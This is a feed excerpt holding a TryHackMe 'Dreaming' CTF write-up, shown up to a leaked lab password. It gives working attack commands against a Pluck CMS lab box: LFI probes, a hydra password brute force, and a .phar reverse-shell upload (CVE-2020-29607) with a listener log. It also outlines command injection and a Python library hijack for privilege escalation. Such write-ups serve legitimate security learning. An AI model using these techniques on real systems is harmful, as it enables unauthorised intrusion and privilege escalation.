&lt;strong&gt;Binary data proxied through a web app's convenience &lt;code&gt;.text&lt;/code&gt; accessor (rather than &lt;code&gt;.content&lt;/code&gt;) will get corrupted.&lt;/strong&gt; Once bytes are decoded as text and characters get replaced (&lt;code&gt;U+FFFD&lt;/code&gt;), that data is gone for good - the only fix is to avoid the text-decoding round-trip entirely, e.g. by fetching binary files locally on the target instead of relying on the vulnerable app to proxy them back out.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe : Dreaming Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Mon, 10 Aug 2026 17:20:00 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-dreaming-writeup-2mki</link>
      <guid>https://dev.to/exploitnotes/tryhackme-dreaming-writeup-2mki</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;Dreaming&lt;/code&gt; is a Linux box built around a Pluck CMS install. Brute-forcing the CMS admin login gives access to the admin panel, which is then abused via a known authenticated file-upload RCE (CVE-2020-29607) to get a reverse shell as &lt;code&gt;www-data&lt;/code&gt;. A leftover automation script hands over a system password for &lt;code&gt;lucien&lt;/code&gt;, whose limited &lt;code&gt;sudo&lt;/code&gt; rule around a &lt;code&gt;mysql.connector&lt;/code&gt; script has a classic &lt;code&gt;subprocess(shell=True)&lt;/code&gt; command-injection bug: seeding a malicious row in the backing MySQL table lets us dump the script's source (and with it, &lt;code&gt;death&lt;/code&gt;'s DB credentials) by having the script &lt;code&gt;echo&lt;/code&gt; back attacker-controlled shell syntax. From &lt;code&gt;death&lt;/code&gt;, a world/group-writable copy of the system &lt;code&gt;shutil.py&lt;/code&gt; module - imported by a root-run backup script - gives a classic Python library-hijack path: injecting a command into &lt;code&gt;shutil.py&lt;/code&gt; gets executed with root privileges the next time the backup job (or any root process that imports &lt;code&gt;shutil&lt;/code&gt;) runs, letting us &lt;code&gt;chmod&lt;/code&gt; the final flag readable.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -&amp;gt; SSH + Apache, /app/ directory listing -&amp;gt; Pluck CMS 4.7.13
   |
Pluck LFI/RCE filename filter blocks direct path traversal + php://filter
   |
hydra brute-force of Pluck admin login -&amp;gt; "password"
   |
Pluck CMS admin panel -&amp;gt; known CVE-2020-29607 (auth'd file upload RCE, .phar bypass)
   |
Reverse shell as www-data
   |
/opt/test.py (lucien-owned) leaks a password reused for lucien's system account -&amp;gt; su lucien
   |
sudo -u death allowed script (getDreams.py) has subprocess(shell=True) command injection via MySQL data
   |
Injected $(cat getDreams.py) via MySQL row -&amp;gt; leaks death's DB password AND death's system password
   |
su death -&amp;gt; death_flag.txt
   |
World/group-writable /usr/lib/python3.8/shutil.py, imported by root-run restore.py/cron
   |
Inject os.system() into shutil.py -&amp;gt; executes as root on next import -&amp;gt; chmod flag readable
   |
morpheus_flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 5c:14:c0:ac:47:41:97:ab:c6:bc:23:1d:6c:93:8e:96 (RSA)
|   256 07:5b:aa:2e:f1:fd:08:fd:85:58:53:50:7a:61:10:58 (ECDSA)
|_  256 09:06:07:6a:03:31:3b:12:ea:31:2d:12:4c:88:cc:66 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only SSH and HTTP open. The web root is the stock Apache default page:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;title&amp;gt;Apache2 Ubuntu Default Page: It works&amp;lt;/title&amp;gt;
...
It works!
This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu systems.
...
[default Apache2 Ubuntu boilerplate - no useful content, truncated]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Directory brute-force found an &lt;code&gt;/app/&lt;/code&gt; directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://&amp;lt;MACHINE_IP&amp;gt;/FUZZ &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/big.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 48ms]
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 2620ms]
app                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 42ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 37ms]
:: Progress: [20469/20469] :: Job [1/1] :: 975 req/sec :: Duration: [0:00:24] :: Errors: 0 ::
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;/app/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Index of /app&amp;lt;/h1&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href="/"&amp;gt;Parent Directory&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href="pluck-4.7.13/"&amp;gt;pluck-4.7.13/&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td align="right"&amp;gt;2020-01-29 08:55  &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Directory listing reveals a &lt;strong&gt;Pluck CMS 4.7.13&lt;/strong&gt; install.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-L&lt;/span&gt; http://&amp;lt;MACHINE_IP&amp;gt;/app/pluck-4.7.13/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"generator"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"pluck 4.7.13"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;dreaming - dreaming&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
...
&lt;span class="nt"&gt;&amp;lt;h1&lt;/span&gt; &lt;span class="na"&gt;title=&lt;/span&gt;&lt;span class="s"&gt;"dreaming"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;dreaming&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;h2&lt;/span&gt; &lt;span class="na"&gt;title=&lt;/span&gt;&lt;span class="s"&gt;"dreaming"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;dreaming&lt;span class="nt"&gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;
What power would hell have if those here imprisoned were not able to dream of heaven?
...
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"/app/pluck-4.7.13/login.php"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;admin&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt; | powered by &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"http://www.pluck-cms.org"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;pluck&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Vulnerability Attempt: LFI via &lt;code&gt;?file=&lt;/code&gt; parameter (blocked)
&lt;/h2&gt;

&lt;p&gt;Pluck's &lt;code&gt;?file=&lt;/code&gt; page-selector parameter looked like a classic LFI candidate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s1"&gt;'http://&amp;lt;MACHINE_IP&amp;gt;/app/pluck-4.7.13/?file=../../../etc/passwd'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;A hacking attempt has been detected. For security reasons, we're blocking any code execution.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s1"&gt;'http://&amp;lt;MACHINE_IP&amp;gt;/app/pluck-4.7.13/?file=../../../etc/passwd'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt; HTTP/1.1 200 OK
&amp;lt; Set-Cookie: PHPSESSID=6bc61nh00ij5f553ob6mr04cih; path=/
&amp;lt; Content-Length: 93
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tried a &lt;code&gt;php://filter&lt;/code&gt; wrapper to read source instead of triggering the traversal filter directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;'http://&amp;lt;MACHINE_IP&amp;gt;/app/pluck-4.7.13/?file=php://filter/convert.base64-encode/resource=/etc/passwd'&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;'http://&amp;lt;MACHINE_IP&amp;gt;/app/pluck-4.7.13/?file=php://filter/convert.base64-encode/resource=data/settings/pass.php'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;A hacking attempt has been detected. For security reasons, we're blocking any code execution.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both blocked - Pluck has a built-in input filter on &lt;code&gt;?file=&lt;/code&gt; that catches path traversal and stream wrappers alike. Abandoned this path and moved to the admin login instead.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vulnerability: Weak Pluck Admin Credentials (Brute Force)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; pluck-cookies.txt &lt;span class="s1"&gt;'http://&amp;lt;MACHINE_IP&amp;gt;/app/pluck-4.7.13/admin.php'&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"logged&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;welcome&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;admin&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;logout"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;title&amp;gt;pluck 4.7.13 - not logged in&amp;lt;/title&amp;gt;
&amp;lt;li&amp;gt;not logged in&amp;lt;/li&amp;gt;
&amp;lt;div id="content"&amp;gt;&amp;lt;div class="notice"&amp;gt;You are not logged in! A moment, please...&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pluck's login is a single password field (no username). Confirmed the login endpoint and its failure message:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; pluck-cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://&amp;lt;MACHINE_IP&amp;gt;/app/pluck-4.7.13/login.php'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'cont1=admin&amp;amp;bogus=&amp;amp;submit=Log+in'&lt;/span&gt; &lt;span class="nt"&gt;-L&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;div class="error"&amp;gt;Password incorrect.&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Manual guesses came up empty:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;pass &lt;span class="k"&gt;in &lt;/span&gt;password 1234 pluck admin123 root dreaming&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"Trying &lt;/span&gt;&lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="s2"&gt;: "&lt;/span&gt;
  curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; /tmp/c.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://&amp;lt;MACHINE_IP&amp;gt;/app/pluck-4.7.13/login.php'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"cont1=&lt;/span&gt;&lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;bogus=&amp;amp;submit=Log+in"&lt;/span&gt; &lt;span class="nt"&gt;-L&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s2"&gt;"not logged in&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;logged in&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;Welcome"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Trying password: Trying 1234: Trying pluck: Trying admin123: Trying root: Trying dreaming:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(No hits - grep found nothing worth printing on any of these, which is a hint the response wording doesn't match those literal strings; time to automate properly.) Ran it through &lt;code&gt;hydra&lt;/code&gt; against &lt;code&gt;rockyou.txt&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; admin &lt;span class="nt"&gt;-P&lt;/span&gt; /usr/share/wordlists/rockyou.txt &amp;lt;MACHINE_IP&amp;gt; http-post-form &lt;span class="s2"&gt;"/app/pluck-4.7.13/login.php:cont1=^PASS^&amp;amp;bogus=&amp;amp;submit=Log+in:F=Password incorrect"&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 30 &lt;span class="nt"&gt;-V&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[DATA] max 30 tasks per 1 server, overall 30 tasks, 14344399 login tries (l:1/p:14344399), ~478147 tries per task
[DATA] attacking http-post-form://&amp;lt;MACHINE_IP&amp;gt;:80/app/pluck-4.7.13/login.php:cont1=^PASS^&amp;amp;bogus=&amp;amp;submit=Log+in:F=Password incorrect
[ATTEMPT] target &amp;lt;MACHINE_IP&amp;gt; - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
...
[80][http-post-form] host: &amp;lt;MACHINE_IP&amp;gt;   login: admin   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-10 12:20:30
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Password is simply &lt;code&gt;password&lt;/code&gt;. Confirmed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; pluck-cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://&amp;lt;MACHINE_IP&amp;gt;/app/pluck-4.7.13/login.php'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'cont1=password&amp;amp;bogus=&amp;amp;submit=Log+in'&lt;/span&gt; &lt;span class="nt"&gt;-L&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;div id="content"&amp;gt;&amp;lt;div class="success"&amp;gt;Password correct. Logging you in...&amp;lt;/div&amp;gt;&amp;lt;meta http-equiv="refresh" content="1; url=admin.php?action=start" /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Vulnerability: CVE-2020-29607 - Pluck CMS Authenticated File Upload RCE
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;searchsploit pluck 4.7.13
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Exploit Title                                                                 |  Path
-------------------------------------------------------------------------------|---------------------------------
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)           | php/webapps/49909.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed the technique via public writeup (loopspell.medium.com/cve-2020-29607) - Pluck blocks &lt;code&gt;.php&lt;/code&gt; uploads by extension, but the block can be bypassed by uploading a &lt;code&gt;.phar&lt;/code&gt; file (still executed as PHP by the server) containing a reverse shell payload.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Manual steps taken through the admin panel&lt;/strong&gt; (screenshots):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Logged into the admin panel at &lt;code&gt;admin.php?action=start&lt;/code&gt;, opened &lt;strong&gt;pages -&amp;gt; manage files&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Uploaded a renamed pentestmonkey PHP reverse-shell payload saved as &lt;code&gt;evil.phar&lt;/code&gt; (bypassing the &lt;code&gt;.php&lt;/code&gt; extension filter):&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   Name: evil.phar
   Size: 2588 bytes
   Type: applicationoctet-stream
   Upload successful!
   uploaded files
   evil.phar   [preview icon]  [trash icon]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Started a listener, then clicked the magnifying-glass "preview" icon next to &lt;code&gt;evil.phar&lt;/code&gt; in the file manager - this requests the uploaded file directly, causing Apache/PHP to execute it server-side:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope &lt;span class="nt"&gt;-p&lt;/span&gt; 4443 listen
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Listening for reverse shells on 0.0.0.0:4443 -&amp;gt; 127.0.0.1 * &amp;lt;ATTACKER_IP&amp;gt;
[+] [New Reverse Shell] =&amp;gt; ip-10-48-167-123 &amp;lt;MACHINE_IP&amp;gt; Linux-x86_64 www-data(33) Session ID &amp;lt;1&amp;gt;
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
[+] Session log: /root/.penelope/sessions/ip-10-48-167-123~&amp;lt;MACHINE_IP&amp;gt;-Linux-x86_64/2026_08_10-12_43_45-578-www-data(33).log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Post-Exploitation - Enumerating Home Directories
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;drwxrwxr--   2 root saviors       4096 Jul 28  2023 kingdom_backup
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /home
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;drwxr-xr-x  4 death    death    4096 Aug 25  2023 death
drwxr-xr-x  5 lucien   lucien   4096 Aug 25  2023 lucien
drwxr-xr-x  3 morpheus morpheus 4096 Aug  7  2023 morpheus
drwxr-xr-x  4 ubuntu   ubuntu   4096 May 18  2025 ubuntu
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;death&lt;/code&gt;'s and &lt;code&gt;morpheus&lt;/code&gt;'s flags are both permission-denied to &lt;code&gt;www-data&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/death/death_flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat: /home/death/death_flag.txt: Permission denied
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Found a file owned by &lt;code&gt;lucien&lt;/code&gt; sitting in a world-readable location:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-user&lt;/span&gt; lucien 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/opt/test.py
/home/lucien/.sudo_as_admin_successful
/home/lucien/.mysql_history
/home/lucien/.bash_history
/home/lucien/.profile
/home/lucien/.bash_logout
/home/lucien/.bashrc
/home/lucien/lucien_flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /opt/test.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="c1"&gt;#Todo add myself as a user
&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1/app/pluck-4.7.13/login.php&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HeyLucien#@1999!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cont1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;bogus&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;submit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Log+in&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

